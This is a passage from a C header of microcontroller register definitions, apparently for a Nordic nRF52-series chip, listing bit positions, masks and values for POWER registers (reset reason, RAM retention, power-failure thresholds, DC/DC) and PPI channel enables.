#define POWER_INTENCLR_SLEEPENTER_Msk (0x1UL << POWER_INTENCLR_SLEEPENTER_Pos) /*!< Bit mask of SLEEPENTER field. */
#define POWER_INTENCLR_SLEEPENTER_Disabled (0UL) /*!< Read: Disabled */
#define POWER_INTENCLR_SLEEPENTER_Enabled (1UL) /*!< Read: Enabled */
#define POWER_INTENCLR_SLEEPENTER_Clear (1UL) /*!< Disable */
/* Bit 2 : Write '1' to Disable interrupt for POFWARN event */
#define POWER_INTENCLR_POFWARN_Pos (2UL) /*!< Position of POFWARN field. */
#define POWER_INTENCLR_POFWARN_Msk (0x1UL << POWER_INTENCLR_POFWARN_Pos) /*!< Bit mask of POFWARN field. */
#define POWER_INTENCLR_POFWARN_Disabled (0UL) /*!< Read: Disabled */
#define POWER_INTENCLR_POFWARN_Enabled (1UL) /*!< Read: Enabled */
#define POWER_INTENCLR_POFWARN_Clear (1UL) /*!< Disable */
/* Register: POWER_RESETREAS */
/* Description: Reset reason */
/* Bit 19 : Reset due to wake up from System OFF mode by NFC field detect */
#define POWER_RESETREAS_NFC_Pos (19UL) /*!< Position of NFC field. */
#define POWER_RESETREAS_NFC_Msk (0x1UL << POWER_RESETREAS_NFC_Pos) /*!< Bit mask of NFC field. */
#define POWER_RESETREAS_NFC_NotDetected (0UL) /*!< Not detected */
#define POWER_RESETREAS_NFC_Detected (1UL) /*!< Detected */
/* Bit 18 : Reset due to wake up from System OFF mode when wakeup is triggered from entering into debug interface mode */
#define POWER_RESETREAS_DIF_Pos (18UL) /*!< Position of DIF field. */
#define POWER_RESETREAS_DIF_Msk (0x1UL << POWER_RESETREAS_DIF_Pos) /*!< Bit mask of DIF field. */
#define POWER_RESETREAS_DIF_NotDetected (0UL) /*!< Not detected */
#define POWER_RESETREAS_DIF_Detected (1UL) /*!< Detected */
/* Bit 17 : Reset due to wake up from System OFF mode when wakeup is triggered from ANADETECT signal from LPCOMP */
#define POWER_RESETREAS_LPCOMP_Pos (17UL) /*!< Position of LPCOMP field. */
#define POWER_RESETREAS_LPCOMP_Msk (0x1UL << POWER_RESETREAS_LPCOMP_Pos) /*!< Bit mask of LPCOMP field. */
#define POWER_RESETREAS_LPCOMP_NotDetected (0UL) /*!< Not detected */
#define POWER_RESETREAS_LPCOMP_Detected (1UL) /*!< Detected */
/* Bit 16 : Reset due to wake up from System OFF mode when wakeup is triggered from DETECT signal from GPIO */
#define POWER_RESETREAS_OFF_Pos (16UL) /*!< Position of OFF field. */
#define POWER_RESETREAS_OFF_Msk (0x1UL << POWER_RESETREAS_OFF_Pos) /*!< Bit mask of OFF field. */
#define POWER_RESETREAS_OFF_NotDetected (0UL) /*!< Not detected */
#define POWER_RESETREAS_OFF_Detected (1UL) /*!< Detected */
/* Bit 3 : Reset from CPU lock-up detected */
#define POWER_RESETREAS_LOCKUP_Pos (3UL) /*!< Position of LOCKUP field. */
#define POWER_RESETREAS_LOCKUP_Msk (0x1UL << POWER_RESETREAS_LOCKUP_Pos) /*!< Bit mask of LOCKUP field. */
#define POWER_RESETREAS_LOCKUP_NotDetected (0UL) /*!< Not detected */
#define POWER_RESETREAS_LOCKUP_Detected (1UL) /*!< Detected */
/* Bit 2 : Reset from soft reset detected */
#define POWER_RESETREAS_SREQ_Pos (2UL) /*!< Position of SREQ field. */
#define POWER_RESETREAS_SREQ_Msk (0x1UL << POWER_RESETREAS_SREQ_Pos) /*!< Bit mask of SREQ field. */
#define POWER_RESETREAS_SREQ_NotDetected (0UL) /*!< Not detected */
#define POWER_RESETREAS_SREQ_Detected (1UL) /*!< Detected */
/* Bit 1 : Reset from watchdog detected */
#define POWER_RESETREAS_DOG_Pos (1UL) /*!< Position of DOG field. */
#define POWER_RESETREAS_DOG_Msk (0x1UL << POWER_RESETREAS_DOG_Pos) /*!< Bit mask of DOG field. */
#define POWER_RESETREAS_DOG_NotDetected (0UL) /*!< Not detected */
#define POWER_RESETREAS_DOG_Detected (1UL) /*!< Detected */
/* Bit 0 : Reset from pin-reset detected */
#define POWER_RESETREAS_RESETPIN_Pos (0UL) /*!< Position of RESETPIN field. */
#define POWER_RESETREAS_RESETPIN_Msk (0x1UL << POWER_RESETREAS_RESETPIN_Pos) /*!< Bit mask of RESETPIN field. */
#define POWER_RESETREAS_RESETPIN_NotDetected (0UL) /*!< Not detected */
#define POWER_RESETREAS_RESETPIN_Detected (1UL) /*!< Detected */
/* Register: POWER_RAMSTATUS */
/* Description: Deprecated register - RAM status register */
/* Bit 3 : RAM block 3 is on or off/powering up */
#define POWER_RAMSTATUS_RAMBLOCK3_Pos (3UL) /*!< Position of RAMBLOCK3 field. */
#define POWER_RAMSTATUS_RAMBLOCK3_Msk (0x1UL << POWER_RAMSTATUS_RAMBLOCK3_Pos) /*!< Bit mask of RAMBLOCK3 field. */
#define POWER_RAMSTATUS_RAMBLOCK3_Off (0UL) /*!< Off */
#define POWER_RAMSTATUS_RAMBLOCK3_On (1UL) /*!< On */
/* Bit 2 : RAM block 2 is on or off/powering up */
#define POWER_RAMSTATUS_RAMBLOCK2_Pos (2UL) /*!< Position of RAMBLOCK2 field. */
#define POWER_RAMSTATUS_RAMBLOCK2_Msk (0x1UL << POWER_RAMSTATUS_RAMBLOCK2_Pos) /*!< Bit mask of RAMBLOCK2 field. */
#define POWER_RAMSTATUS_RAMBLOCK2_Off (0UL) /*!< Off */
#define POWER_RAMSTATUS_RAMBLOCK2_On (1UL) /*!< On */
/* Bit 1 : RAM block 1 is on or off/powering up */
#define POWER_RAMSTATUS_RAMBLOCK1_Pos (1UL) /*!< Position of RAMBLOCK1 field. */
#define POWER_RAMSTATUS_RAMBLOCK1_Msk (0x1UL << POWER_RAMSTATUS_RAMBLOCK1_Pos) /*!< Bit mask of RAMBLOCK1 field. */
#define POWER_RAMSTATUS_RAMBLOCK1_Off (0UL) /*!< Off */
#define POWER_RAMSTATUS_RAMBLOCK1_On (1UL) /*!< On */
/* Bit 0 : RAM block 0 is on or off/powering up */
#define POWER_RAMSTATUS_RAMBLOCK0_Pos (0UL) /*!< Position of RAMBLOCK0 field. */
#define POWER_RAMSTATUS_RAMBLOCK0_Msk (0x1UL << POWER_RAMSTATUS_RAMBLOCK0_Pos) /*!< Bit mask of RAMBLOCK0 field. */
#define POWER_RAMSTATUS_RAMBLOCK0_Off (0UL) /*!< Off */
#define POWER_RAMSTATUS_RAMBLOCK0_On (1UL) /*!< On */
/* Register: POWER_SYSTEMOFF */
/* Description: System OFF register */
/* Bit 0 : Enable System OFF mode */
#define POWER_SYSTEMOFF_SYSTEMOFF_Pos (0UL) /*!< Position of SYSTEMOFF field. */
#define POWER_SYSTEMOFF_SYSTEMOFF_Msk (0x1UL << POWER_SYSTEMOFF_SYSTEMOFF_Pos) /*!< Bit mask of SYSTEMOFF field. */
#define POWER_SYSTEMOFF_SYSTEMOFF_Enter (1UL) /*!< Enable System OFF mode */
/* Register: POWER_POFCON */
/* Description: Power failure comparator configuration */
/* Bits 4..1 : Power failure comparator threshold setting */
#define POWER_POFCON_THRESHOLD_Pos (1UL) /*!< Position of THRESHOLD field. */
#define POWER_POFCON_THRESHOLD_Msk (0xFUL << POWER_POFCON_THRESHOLD_Pos) /*!< Bit mask of THRESHOLD field. */
#define POWER_POFCON_THRESHOLD_V17 (4UL) /*!< Set threshold to 1.7 V */
#define POWER_POFCON_THRESHOLD_V18 (5UL) /*!< Set threshold to 1.8 V */
#define POWER_POFCON_THRESHOLD_V19 (6UL) /*!< Set threshold to 1.9 V */
#define POWER_POFCON_THRESHOLD_V20 (7UL) /*!< Set threshold to 2.0 V */
#define POWER_POFCON_THRESHOLD_V21 (8UL) /*!< Set threshold to 2.1 V */
#define POWER_POFCON_THRESHOLD_V22 (9UL) /*!< Set threshold to 2.2 V */
#define POWER_POFCON_THRESHOLD_V23 (10UL) /*!< Set threshold to 2.3 V */
#define POWER_POFCON_THRESHOLD_V24 (11UL) /*!< Set threshold to 2.4 V */
#define POWER_POFCON_THRESHOLD_V25 (12UL) /*!< Set threshold to 2.5 V */
#define POWER_POFCON_THRESHOLD_V26 (13UL) /*!< Set threshold to 2.6 V */
#define POWER_POFCON_THRESHOLD_V27 (14UL) /*!< Set threshold to 2.7 V */
#define POWER_POFCON_THRESHOLD_V28 (15UL) /*!< Set threshold to 2.8 V */
/* Bit 0 : Enable or disable power failure comparator */
#define POWER_POFCON_POF_Pos (0UL) /*!< Position of POF field. */
#define POWER_POFCON_POF_Msk (0x1UL << POWER_POFCON_POF_Pos) /*!< Bit mask of POF field. */
#define POWER_POFCON_POF_Disabled (0UL) /*!< Disable */
#define POWER_POFCON_POF_Enabled (1UL) /*!< Enable */
/* Register: POWER_GPREGRET */
/* Description: General purpose retention register */
/* Bits 7..0 : General purpose retention register */
#define POWER_GPREGRET_GPREGRET_Pos (0UL) /*!< Position of GPREGRET field. */
#define POWER_GPREGRET_GPREGRET_Msk (0xFFUL << POWER_GPREGRET_GPREGRET_Pos) /*!< Bit mask of GPREGRET field. */
/* Register: POWER_GPREGRET2 */
/* Description: General purpose retention register */
/* Bits 7..0 : General purpose retention register */
#define POWER_GPREGRET2_GPREGRET_Pos (0UL) /*!< Position of GPREGRET field. */
#define POWER_GPREGRET2_GPREGRET_Msk (0xFFUL << POWER_GPREGRET2_GPREGRET_Pos) /*!< Bit mask of GPREGRET field. */
/* Register: POWER_RAMON */
/* Description: Deprecated register - RAM on/off register (this register is retained) */
/* Bit 17 : Keep retention on RAM block 1 when RAM block is switched off */
#define POWER_RAMON_OFFRAM1_Pos (17UL) /*!< Position of OFFRAM1 field. */
#define POWER_RAMON_OFFRAM1_Msk (0x1UL << POWER_RAMON_OFFRAM1_Pos) /*!< Bit mask of OFFRAM1 field. */
#define POWER_RAMON_OFFRAM1_RAM1Off (0UL) /*!< Off */
#define POWER_RAMON_OFFRAM1_RAM1On (1UL) /*!< On */
/* Bit 16 : Keep retention on RAM block 0 when RAM block is switched off */
#define POWER_RAMON_OFFRAM0_Pos (16UL) /*!< Position of OFFRAM0 field. */
#define POWER_RAMON_OFFRAM0_Msk (0x1UL << POWER_RAMON_OFFRAM0_Pos) /*!< Bit mask of OFFRAM0 field. */
#define POWER_RAMON_OFFRAM0_RAM0Off (0UL) /*!< Off */
#define POWER_RAMON_OFFRAM0_RAM0On (1UL) /*!< On */
/* Bit 1 : Keep RAM block 1 on or off in system ON Mode */
#define POWER_RAMON_ONRAM1_Pos (1UL) /*!< Position of ONRAM1 field. */
#define POWER_RAMON_ONRAM1_Msk (0x1UL << POWER_RAMON_ONRAM1_Pos) /*!< Bit mask of ONRAM1 field. */
#define POWER_RAMON_ONRAM1_RAM1Off (0UL) /*!< Off */
#define POWER_RAMON_ONRAM1_RAM1On (1UL) /*!< On */
/* Bit 0 : Keep RAM block 0 on or off in system ON Mode */
#define POWER_RAMON_ONRAM0_Pos (0UL) /*!< Position of ONRAM0 field. */
#define POWER_RAMON_ONRAM0_Msk (0x1UL << POWER_RAMON_ONRAM0_Pos) /*!< Bit mask of ONRAM0 field. */
#define POWER_RAMON_ONRAM0_RAM0Off (0UL) /*!< Off */
#define POWER_RAMON_ONRAM0_RAM0On (1UL) /*!< On */
/* Register: POWER_RAMONB */
/* Description: Deprecated register - RAM on/off register (this register is retained) */
/* Bit 17 : Keep retention on RAM block 3 when RAM block is switched off */
#define POWER_RAMONB_OFFRAM3_Pos (17UL) /*!< Position of OFFRAM3 field. */
#define POWER_RAMONB_OFFRAM3_Msk (0x1UL << POWER_RAMONB_OFFRAM3_Pos) /*!< Bit mask of OFFRAM3 field. */
#define POWER_RAMONB_OFFRAM3_RAM3Off (0UL) /*!< Off */
#define POWER_RAMONB_OFFRAM3_RAM3On (1UL) /*!< On */
/* Bit 16 : Keep retention on RAM block 2 when RAM block is switched off */
#define POWER_RAMONB_OFFRAM2_Pos (16UL) /*!< Position of OFFRAM2 field. */
#define POWER_RAMONB_OFFRAM2_Msk (0x1UL << POWER_RAMONB_OFFRAM2_Pos) /*!< Bit mask of OFFRAM2 field. */
#define POWER_RAMONB_OFFRAM2_RAM2Off (0UL) /*!< Off */
#define POWER_RAMONB_OFFRAM2_RAM2On (1UL) /*!< On */
/* Bit 1 : Keep RAM block 3 on or off in system ON Mode */
#define POWER_RAMONB_ONRAM3_Pos (1UL) /*!< Position of ONRAM3 field. */
#define POWER_RAMONB_ONRAM3_Msk (0x1UL << POWER_RAMONB_ONRAM3_Pos) /*!< Bit mask of ONRAM3 field. */
#define POWER_RAMONB_ONRAM3_RAM3Off (0UL) /*!< Off */
#define POWER_RAMONB_ONRAM3_RAM3On (1UL) /*!< On */
/* Bit 0 : Keep RAM block 2 on or off in system ON Mode */
#define POWER_RAMONB_ONRAM2_Pos (0UL) /*!< Position of ONRAM2 field. */
#define POWER_RAMONB_ONRAM2_Msk (0x1UL << POWER_RAMONB_ONRAM2_Pos) /*!< Bit mask of ONRAM2 field. */
#define POWER_RAMONB_ONRAM2_RAM2Off (0UL) /*!< Off */
#define POWER_RAMONB_ONRAM2_RAM2On (1UL) /*!< On */
/* Register: POWER_DCDCEN */
/* Description: DC/DC enable register */
/* Bit 0 : Enable or disable DC/DC converter */
#define POWER_DCDCEN_DCDCEN_Pos (0UL) /*!< Position of DCDCEN field. */
#define POWER_DCDCEN_DCDCEN_Msk (0x1UL << POWER_DCDCEN_DCDCEN_Pos) /*!< Bit mask of DCDCEN field. */
#define POWER_DCDCEN_DCDCEN_Disabled (0UL) /*!< Disable */
#define POWER_DCDCEN_DCDCEN_Enabled (1UL) /*!< Enable */
/* Register: POWER_RAM_POWER */
/* Description: Description cluster[0]: RAM0 power control register */
/* Bit 17 : Keep retention on RAM section S1 when RAM section is in OFF */
#define POWER_RAM_POWER_S1RETENTION_Pos (17UL) /*!< Position of S1RETENTION field. */
#define POWER_RAM_POWER_S1RETENTION_Msk (0x1UL << POWER_RAM_POWER_S1RETENTION_Pos) /*!< Bit mask of S1RETENTION field. */
#define POWER_RAM_POWER_S1RETENTION_Off (0UL) /*!< Off */
#define POWER_RAM_POWER_S1RETENTION_On (1UL) /*!< On */
/* Bit 16 : Keep retention on RAM section S0 when RAM section is in OFF */
#define POWER_RAM_POWER_S0RETENTION_Pos (16UL) /*!< Position of S0RETENTION field. */
#define POWER_RAM_POWER_S0RETENTION_Msk (0x1UL << POWER_RAM_POWER_S0RETENTION_Pos) /*!< Bit mask of S0RETENTION field. */
#define POWER_RAM_POWER_S0RETENTION_Off (0UL) /*!< Off */
#define POWER_RAM_POWER_S0RETENTION_On (1UL) /*!< On */
/* Bit 1 : Keep RAM section S1 ON or OFF in System ON mode. */
#define POWER_RAM_POWER_S1POWER_Pos (1UL) /*!< Position of S1POWER field. */
#define POWER_RAM_POWER_S1POWER_Msk (0x1UL << POWER_RAM_POWER_S1POWER_Pos) /*!< Bit mask of S1POWER field. */
#define POWER_RAM_POWER_S1POWER_Off (0UL) /*!< Off */
#define POWER_RAM_POWER_S1POWER_On (1UL) /*!< On */
/* Bit 0 : Keep RAM section S0 ON or OFF in System ON mode. */
#define POWER_RAM_POWER_S0POWER_Pos (0UL) /*!< Position of S0POWER field. */
#define POWER_RAM_POWER_S0POWER_Msk (0x1UL << POWER_RAM_POWER_S0POWER_Pos) /*!< Bit mask of S0POWER field. */
#define POWER_RAM_POWER_S0POWER_Off (0UL) /*!< Off */
#define POWER_RAM_POWER_S0POWER_On (1UL) /*!< On */
/* Register: POWER_RAM_POWERSET */
/* Description: Description cluster[0]: RAM0 power control set register */
/* Bit 17 : Keep retention on RAM section S1 when RAM section is switched off */
#define POWER_RAM_POWERSET_S1RETENTION_Pos (17UL) /*!< Position of S1RETENTION field. */
#define POWER_RAM_POWERSET_S1RETENTION_Msk (0x1UL << POWER_RAM_POWERSET_S1RETENTION_Pos) /*!< Bit mask of S1RETENTION field. */
#define POWER_RAM_POWERSET_S1RETENTION_On (1UL) /*!< On */
/* Bit 16 : Keep retention on RAM section S0 when RAM section is switched off */
#define POWER_RAM_POWERSET_S0RETENTION_Pos (16UL) /*!< Position of S0RETENTION field. */
#define POWER_RAM_POWERSET_S0RETENTION_Msk (0x1UL << POWER_RAM_POWERSET_S0RETENTION_Pos) /*!< Bit mask of S0RETENTION field. */
#define POWER_RAM_POWERSET_S0RETENTION_On (1UL) /*!< On */
/* Bit 1 : Keep RAM section S1 of RAM0 on or off in System ON mode */
#define POWER_RAM_POWERSET_S1POWER_Pos (1UL) /*!< Position of S1POWER field. */
#define POWER_RAM_POWERSET_S1POWER_Msk (0x1UL << POWER_RAM_POWERSET_S1POWER_Pos) /*!< Bit mask of S1POWER field. */
#define POWER_RAM_POWERSET_S1POWER_On (1UL) /*!< On */
/* Bit 0 : Keep RAM section S0 of RAM0 on or off in System ON mode */
#define POWER_RAM_POWERSET_S0POWER_Pos (0UL) /*!< Position of S0POWER field. */
#define POWER_RAM_POWERSET_S0POWER_Msk (0x1UL << POWER_RAM_POWERSET_S0POWER_Pos) /*!< Bit mask of S0POWER field. */
#define POWER_RAM_POWERSET_S0POWER_On (1UL) /*!< On */
/* Register: POWER_RAM_POWERCLR */
/* Description: Description cluster[0]: RAM0 power control clear register */
/* Bit 17 : Keep retention on RAM section S1 when RAM section is switched off */
#define POWER_RAM_POWERCLR_S1RETENTION_Pos (17UL) /*!< Position of S1RETENTION field. */
#define POWER_RAM_POWERCLR_S1RETENTION_Msk (0x1UL << POWER_RAM_POWERCLR_S1RETENTION_Pos) /*!< Bit mask of S1RETENTION field. */
#define POWER_RAM_POWERCLR_S1RETENTION_Off (1UL) /*!< Off */
/* Bit 16 : Keep retention on RAM section S0 when RAM section is switched off */
#define POWER_RAM_POWERCLR_S0RETENTION_Pos (16UL) /*!< Position of S0RETENTION field. */
#define POWER_RAM_POWERCLR_S0RETENTION_Msk (0x1UL << POWER_RAM_POWERCLR_S0RETENTION_Pos) /*!< Bit mask of S0RETENTION field. */
#define POWER_RAM_POWERCLR_S0RETENTION_Off (1UL) /*!< Off */
/* Bit 1 : Keep RAM section S1 of RAM0 on or off in System ON mode */
#define POWER_RAM_POWERCLR_S1POWER_Pos (1UL) /*!< Position of S1POWER field. */
#define POWER_RAM_POWERCLR_S1POWER_Msk (0x1UL << POWER_RAM_POWERCLR_S1POWER_Pos) /*!< Bit mask of S1POWER field. */
#define POWER_RAM_POWERCLR_S1POWER_Off (1UL) /*!< Off */
/* Bit 0 : Keep RAM section S0 of RAM0 on or off in System ON mode */
#define POWER_RAM_POWERCLR_S0POWER_Pos (0UL) /*!< Position of S0POWER field. */
#define POWER_RAM_POWERCLR_S0POWER_Msk (0x1UL << POWER_RAM_POWERCLR_S0POWER_Pos) /*!< Bit mask of S0POWER field. */
#define POWER_RAM_POWERCLR_S0POWER_Off (1UL) /*!< Off */
/* Peripheral: PPI */
/* Description: Programmable Peripheral Interconnect */
/* Register: PPI_CHEN */
/* Description: Channel enable register */
/* Bit 31 : Enable or disable channel 31 */
#define PPI_CHEN_CH31_Pos (31UL) /*!< Position of CH31 field. */
#define PPI_CHEN_CH31_Msk (0x1UL << PPI_CHEN_CH31_Pos) /*!< Bit mask of CH31 field. */
#define PPI_CHEN_CH31_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH31_Enabled (1UL) /*!< Enable channel */
/* Bit 30 : Enable or disable channel 30 */
#define PPI_CHEN_CH30_Pos (30UL) /*!< Position of CH30 field. */
#define PPI_CHEN_CH30_Msk (0x1UL << PPI_CHEN_CH30_Pos) /*!< Bit mask of CH30 field. */
#define PPI_CHEN_CH30_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH30_Enabled (1UL) /*!< Enable channel */
/* Bit 29 : Enable or disable channel 29 */
#define PPI_CHEN_CH29_Pos (29UL) /*!< Position of CH29 field. */
#define PPI_CHEN_CH29_Msk (0x1UL << PPI_CHEN_CH29_Pos) /*!< Bit mask of CH29 field. */
#define PPI_CHEN_CH29_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH29_Enabled (1UL) /*!< Enable channel */
/* Bit 28 : Enable or disable channel 28 */
#define PPI_CHEN_CH28_Pos (28UL) /*!< Position of CH28 field. */
#define PPI_CHEN_CH28_Msk (0x1UL << PPI_CHEN_CH28_Pos) /*!< Bit mask of CH28 field. */
#define PPI_CHEN_CH28_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH28_Enabled (1UL) /*!< Enable channel */
/* Bit 27 : Enable or disable channel 27 */
#define PPI_CHEN_CH27_Pos (27UL) /*!< Position of CH27 field. */
#define PPI_CHEN_CH27_Msk (0x1UL << PPI_CHEN_CH27_Pos) /*!< Bit mask of CH27 field. */
#define PPI_CHEN_CH27_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH27_Enabled (1UL) /*!< Enable channel */
/* Bit 26 : Enable or disable channel 26 */
#define PPI_CHEN_CH26_Pos (26UL) /*!< Position of CH26 field. */
#define PPI_CHEN_CH26_Msk (0x1UL << PPI_CHEN_CH26_Pos) /*!< Bit mask of CH26 field. */
#define PPI_CHEN_CH26_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH26_Enabled (1UL) /*!< Enable channel */
/* Bit 25 : Enable or disable channel 25 */
#define PPI_CHEN_CH25_Pos (25UL) /*!< Position of CH25 field. */
#define PPI_CHEN_CH25_Msk (0x1UL << PPI_CHEN_CH25_Pos) /*!< Bit mask of CH25 field. */
#define PPI_CHEN_CH25_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH25_Enabled (1UL) /*!< Enable channel */
/* Bit 24 : Enable or disable channel 24 */
#define PPI_CHEN_CH24_Pos (24UL) /*!< Position of CH24 field. */
#define PPI_CHEN_CH24_Msk (0x1UL << PPI_CHEN_CH24_Pos) /*!< Bit mask of CH24 field. */
#define PPI_CHEN_CH24_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH24_Enabled (1UL) /*!< Enable channel */
/* Bit 23 : Enable or disable channel 23 */
#define PPI_CHEN_CH23_Pos (23UL) /*!< Position of CH23 field. */
#define PPI_CHEN_CH23_Msk (0x1UL << PPI_CHEN_CH23_Pos) /*!< Bit mask of CH23 field. */
#define PPI_CHEN_CH23_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH23_Enabled (1UL) /*!< Enable channel */
/* Bit 22 : Enable or disable channel 22 */
#define PPI_CHEN_CH22_Pos (22UL) /*!< Position of CH22 field. */
#define PPI_CHEN_CH22_Msk (0x1UL << PPI_CHEN_CH22_Pos) /*!< Bit mask of CH22 field. */
#define PPI_CHEN_CH22_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH22_Enabled (1UL) /*!< Enable channel */
/* Bit 21 : Enable or disable channel 21 */
#define PPI_CHEN_CH21_Pos (21UL) /*!< Position of CH21 field. */
#define PPI_CHEN_CH21_Msk (0x1UL << PPI_CHEN_CH21_Pos) /*!< Bit mask of CH21 field. */
#define PPI_CHEN_CH21_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH21_Enabled (1UL) /*!< Enable channel */
/* Bit 20 : Enable or disable channel 20 */
#define PPI_CHEN_CH20_Pos (20UL) /*!< Position of CH20 field. */
#define PPI_CHEN_CH20_Msk (0x1UL << PPI_CHEN_CH20_Pos) /*!< Bit mask of CH20 field. */
#define PPI_CHEN_CH20_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH20_Enabled (1UL) /*!< Enable channel */
/* Bit 19 : Enable or disable channel 19 */
#define PPI_CHEN_CH19_Pos (19UL) /*!< Position of CH19 field. */
#define PPI_CHEN_CH19_Msk (0x1UL << PPI_CHEN_CH19_Pos) /*!< Bit mask of CH19 field. */
#define PPI_CHEN_CH19_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH19_Enabled (1UL) /*!< Enable channel */
/* Bit 18 : Enable or disable channel 18 */
#define PPI_CHEN_CH18_Pos (18UL) /*!< Position of CH18 field. */
#define PPI_CHEN_CH18_Msk (0x1UL << PPI_CHEN_CH18_Pos) /*!< Bit mask of CH18 field. */
#define PPI_CHEN_CH18_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH18_Enabled (1UL) /*!< Enable channel */
/* Bit 17 : Enable or disable channel 17 */
#define PPI_CHEN_CH17_Pos (17UL) /*!< Position of CH17 field. */
#define PPI_CHEN_CH17_Msk (0x1UL << PPI_CHEN_CH17_Pos) /*!< Bit mask of CH17 field. */
#define PPI_CHEN_CH17_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH17_Enabled (1UL) /*!< Enable channel */
/* Bit 16 : Enable or disable channel 16 */
#define PPI_CHEN_CH16_Pos (16UL) /*!< Position of CH16 field. */
#define PPI_CHEN_CH16_Msk (0x1UL << PPI_CHEN_CH16_Pos) /*!< Bit mask of CH16 field. */
#define PPI_CHEN_CH16_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH16_Enabled (1UL) /*!< Enable channel */
/* Bit 15 : Enable or disable channel 15 */
#define PPI_CHEN_CH15_Pos (15UL) /*!< Position of CH15 field. */
#define PPI_CHEN_CH15_Msk (0x1UL << PPI_CHEN_CH15_Pos) /*!< Bit mask of CH15 field. */
#define PPI_CHEN_CH15_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH15_Enabled (1UL) /*!< Enable channel */
/* Bit 14 : Enable or disable channel 14 */
#define PPI_CHEN_CH14_Pos (14UL) /*!< Position of CH14 field. */
#define PPI_CHEN_CH14_Msk (0x1UL << PPI_CHEN_CH14_Pos) /*!< Bit mask of CH14 field. */
#define PPI_CHEN_CH14_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH14_Enabled (1UL) /*!< Enable channel */
/* Bit 13 : Enable or disable channel 13 */
#define PPI_CHEN_CH13_Pos (13UL) /*!< Position of CH13 field. */
#define PPI_CHEN_CH13_Msk (0x1UL << PPI_CHEN_CH13_Pos) /*!< Bit mask of CH13 field. */
#define PPI_CHEN_CH13_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH13_Enabled (1UL) /*!< Enable channel */
/* Bit 12 : Enable or disable channel 12 */
#define PPI_CHEN_CH12_Pos (12UL) /*!< Position of CH12 field. */
#define PPI_CHEN_CH12_Msk (0x1UL << PPI_CHEN_CH12_Pos) /*!< Bit mask of CH12 field. */
#define PPI_CHEN_CH12_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH12_Enabled (1UL) /*!< Enable channel */
/* Bit 11 : Enable or disable channel 11 */
#define PPI_CHEN_CH11_Pos (11UL) /*!< Position of CH11 field. */
#define PPI_CHEN_CH11_Msk (0x1UL << PPI_CHEN_CH11_Pos) /*!< Bit mask of CH11 field. */
#define PPI_CHEN_CH11_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH11_Enabled (1UL) /*!< Enable channel */
/* Bit 10 : Enable or disable channel 10 */
#define PPI_CHEN_CH10_Pos (10UL) /*!< Position of CH10 field. */
#define PPI_CHEN_CH10_Msk (0x1UL << PPI_CHEN_CH10_Pos) /*!< Bit mask of CH10 field. */
#define PPI_CHEN_CH10_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH10_Enabled (1UL) /*!< Enable channel */
/* Bit 9 : Enable or disable channel 9 */
#define PPI_CHEN_CH9_Pos (9UL) /*!< Position of CH9 field. */
#define PPI_CHEN_CH9_Msk (0x1UL << PPI_CHEN_CH9_Pos) /*!< Bit mask of CH9 field. */
#define PPI_CHEN_CH9_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH9_Enabled (1UL) /*!< Enable channel */
/* Bit 8 : Enable or disable channel 8 */
#define PPI_CHEN_CH8_Pos (8UL) /*!< Position of CH8 field. */
#define PPI_CHEN_CH8_Msk (0x1UL << PPI_CHEN_CH8_Pos) /*!< Bit mask of CH8 field. */
#define PPI_CHEN_CH8_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH8_Enabled (1UL) /*!< Enable channel */
/* Bit 7 : Enable or disable channel 7 */
#define PPI_CHEN_CH7_Pos (7UL) /*!< Position of CH7 field. */
#define PPI_CHEN_CH7_Msk (0x1UL << PPI_CHEN_CH7_Pos) /*!< Bit mask of CH7 field. */
#define PPI_CHEN_CH7_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH7_Enabled (1UL) /*!< Enable channel */
/* Bit 6 : Enable or disable channel 6 */
#define PPI_CHEN_CH6_Pos (6UL) /*!< Position of CH6 field. */
#define PPI_CHEN_CH6_Msk (0x1UL << PPI_CHEN_CH6_Pos) /*!< Bit mask of CH6 field. */
#define PPI_CHEN_CH6_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH6_Enabled (1UL) /*!< Enable channel */
/* Bit 5 : Enable or disable channel 5 */
#define PPI_CHEN_CH5_Pos (5UL) /*!< Position of CH5 field. */
#define PPI_CHEN_CH5_Msk (0x1UL << PPI_CHEN_CH5_Pos) /*!< Bit mask of CH5 field. */
#define PPI_CHEN_CH5_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH5_Enabled (1UL) /*!< Enable channel */
/* Bit 4 : Enable or disable channel 4 */
#define PPI_CHEN_CH4_Pos (4UL) /*!< Position of CH4 field. */
#define PPI_CHEN_CH4_Msk (0x1UL << PPI_CHEN_CH4_Pos) /*!< Bit mask of CH4 field. */
#define PPI_CHEN_CH4_Disabled (0UL) /*!< Disable channel */
#define PPI_CHEN_CH4_Enabled (1UL) /*!< Enable channel */
/* Bit 3 : Enable or disable channel 3 */
#define PPI_CHEN_CH3_Pos (3UL) /*!< Position of CH3 field. */
#define PPI_CHEN_CH3_Msk (0x1UL << PPI_CHEN_CH3_Pos) /*!< Bit mask of CH3 field. */
#define PPI_CHEN_CH3_Disabled (0UL) /*!< Disable channel */
